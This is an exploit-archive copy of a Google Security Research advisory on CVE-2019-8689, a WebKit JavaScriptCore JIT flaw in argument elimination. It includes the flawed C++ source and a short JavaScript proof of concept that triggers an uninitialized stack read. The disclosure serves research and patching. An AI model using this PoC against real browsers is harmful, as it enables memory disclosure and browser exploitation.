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Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform Exploit

المؤلف
Google Security Research
الخطر
[
Security Risk Medium
]
0day-ID
0day-ID-33170
الصنف
dos / poc
تاريخ الإضافة
29-08-2019
CVE
CVE-2019-8689
المنصة
multiple
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234

#  0day.today [2024-06-30]  #